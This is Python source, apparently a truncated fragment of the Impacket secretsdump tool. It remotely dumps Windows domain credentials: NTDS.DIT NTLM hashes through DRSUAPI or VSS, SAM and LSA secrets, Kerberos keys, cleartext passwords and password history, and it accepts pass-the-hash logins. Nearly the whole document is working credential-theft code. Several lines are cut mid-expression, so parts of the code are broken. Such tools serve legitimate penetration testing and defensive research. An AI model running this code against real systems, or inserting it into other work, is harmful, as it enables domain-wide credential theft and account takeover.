class CRYPTED_HASHW16(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('Unknown',' 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
if cipherText['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(cipherText['Header'])
plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
cipherText['EncryptedHash'][4:],
cipherText['KeyMaterial'])
haveInfo = True
else:
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
replyVersion = 'V%d' % record['pdwOutVersion']
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error(
'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '%s\\%s' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
try:
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
except UnicodeDecodeError:
# This could be because we're decoding a machine password. Printing it hex
answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'])
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
logging.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
def __decryptHash(self, record, prefixTable=None, outputFile=None):
logging.debug('Entering NTDSHashes.__decryptHash')
if self.__useVSSMethod is True:
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
rid = sid.formatCanonical().split('-')[-1]
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
LMHash = self.__removeDESLayer(tmpLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
pekIndex = hexlify(encryptedNTHash['Header'])
tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedNTHash['EncryptedHash'][:16],
encryptedNTHash['KeyMaterial'])
else:
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
else:
pwdLastSet = 'N/A'
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
print answer
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__history:
LMHistory = []
NTHistory = []
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHash)
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(encryptedNTHistory['Header'])
tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedNTHistory['EncryptedHash'],
encryptedNTHistory['KeyMaterial'])
else:
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
for i, (LMHash, NTHash) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHash)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
print answer
else:
replyVersion = 'V%d' %record['pdwOutVersion']
logging.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
domain = None
if self.__history:
LMHistory = []
NTHistory = []
rid = unpack(' 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
elif attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
else:
logging.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
objectSid = rid
elif attId == LOOKUP_TABLE['pwdLastSet']:
if attr['AttrVal']['valCount'] > 0:
try:
pwdLastSet = self.__fileTimeToDateTime(unpack(' 0:
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHashHistory)
else:
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
elif attId == LOOKUP_TABLE['ntPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHashHistory)
else:
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
if domain is not None:
userName = '%s\\%s' % (domain, userName)
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
print answer
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
print answer
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if outputFile is not None:
outputFile.flush()
logging.debug('Leaving NTDSHashes.__decryptHash')
def dump(self):
if self.__useVSSMethod is True:
if self.__NTDS is None:
# No NTDS.dit file provided and were asked to use VSS
return
else:
if self.__NTDS is None:
# DRSUAPI method, checking whether target is a DC
try:
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
except:
# Target's not a DC
return
# Let's check if we need to save results in a file
if self.__outputFileName is not None:
logging.debug('Saving output to %s' % self.__outputFileName)
# We have to export. Are we resuming a session?
if self.__savedSessionFile is not None:
mode = 'a+'
else:
mode = 'w+'
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
if self.__justNTLM is False:
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
else:
hashesOutputFile = None
keysOutputFile = None
clearTextOutputFile = None
logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
if self.__useVSSMethod:
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self.__getPek()
if self.__PEK is not None:
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
# First of all, if we have users already cached, let's decrypt their hashes
for record in self.__tmpUsers:
try:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception, e:
# import traceback
# print traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
logging.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
try:
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception, e:
# import traceback
# print traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
else:
logging.info('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
# Do we have to resume from a previously saved session?
if self.__savedSessionFile is not None:
# Yes
try:
resumeFile = open(self.__savedSessionFile, 'rwb+')
except Exception, e:
raise Exception('Cannot open resume session file name %s' % str(e))
resumeSid = resumeFile.read().strip('\n')
logging.info('Resuming from SID %s, be patient' % resumeSid)
# The resume session file is the same as the savedSessionFile
tmpName = self.__savedSessionFile
resumeFile = open(tmpName, 'wb+')
else:
resumeSid = None
# We do not create a resume file when asking for a single user
if self.__justUser is None:
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
logging.debug('Session resume file will be %s' % tmpName)
# Creating the resume session file
try:
resumeFile = open(tmpName, 'wb+')
self.__resumeSessionFile = tmpName
except Exception, e:
raise Exception('Cannot create resume session file %s' % str(e))
if self.__justUser is not None:
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN,
drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME,
name=self.__justUser)
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
logging.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
return
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
logging.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error("Error while processing user!")
logging.error(str(e))
else:
while status == STATUS_MORE_ENTRIES:
resp = self.__remoteOps.getDomainUsers(enumerationContext)
for user in resp['Buffer']['Buffer']:
userName = user['Name']
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
if resumeSid is not None:
# Means we're looking for a SID before start processing back again
if resumeSid == userSid.formatCanonical():
# Match!, next round we will back processing
logging.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical())
resumeSid = None
else:
logging.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical())
continue
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME,
name=userSid.formatCanonical())
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
logging.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
break
userRecord = self.__remoteOps.DRSGetNCChanges(
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
# userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
logging.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error("Error while processing user!")
logging.error(str(e))
# Saving the session state
resumeFile.seek(0,0)
resumeFile.truncate(0)
resumeFile.write(userSid.formatCanonical())
resumeFile.flush()
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
# Everything went well and we covered all the users
# Let's remove the resume file is we had created it
if self.__justUser is None:
resumeFile.close()
os.remove(tmpName)
self.__resumeSessionFile = None
logging.debug("Finished processing and printing user's hashes, now printing supplemental information")
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len(self.__kerberosKeys) > 0:
if self.__useVSSMethod is True:
logging.info('Kerberos keys from %s ' % self.__NTDS)
else:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
print itemKey
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
if self.__useVSSMethod is True:
logging.info('ClearText password from %s ' % self.__NTDS)
else:
logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
print itemKey
# Closing output file
if self.__outputFileName is not None:
hashesOutputFile.close()
if self.__justNTLM is False:
keysOutputFile.close()
clearTextOutputFile.close()
@classmethod
def __writeOutput(cls, fd, data):
try:
fd.write(data)
except Exception, e:
logging.error("Error writing entry, skippingi (%s)" % str(e))
pass
def finish(self):
if self.__NTDS is not None:
self.__ESEDB.close()
class DumpSecrets:
def __init__(self, address, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteAddr = address
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def getBootKey(self):
# Local Version whenever we are given the files directly
bootKey = ''
tmpKey = ''
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + digit
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
tmpKey = unhexlify(tmpKey)
for i in xrange(len(tmpKey)):
bootKey += tmpKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
return bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
if noLmHash is not None:
noLmHash = noLmHash[1]
else:
noLmHash = 0
if noLmHash != 1:
logging.debug('LMHashes are being stored')
return False
logging.debug('LMHashes are NOT being stored')
return True
def dump(self):
try:
if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
bootKey = self.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = self.checkNoLMHashPolicy()
else:
self.__isRemote = True
bootKey = None
try:
self.connect()
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception, e:
self.__canProcessSAMLSA = False
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception, e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception, e:
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser)
try:
self.__NTDSHashes.dump()
except Exception, e:
logging.error(e)
if self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = raw_input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL (if you want to parse local files)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session\'s state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-history', action='store_true', help='Dump password history')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.just_dc_user is not None:
if options.use_vss is True:
logging.error('-just-dc-user switch is not supported in VSS mode')
sys.exit(1)
elif options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
sys.exit(1)
elif address.upper() == 'LOCAL' and username == '':
logging.error('-just-dc-user not compatible in LOCAL mode')
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True
if options.use_vss is True and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
sys.exit(1)
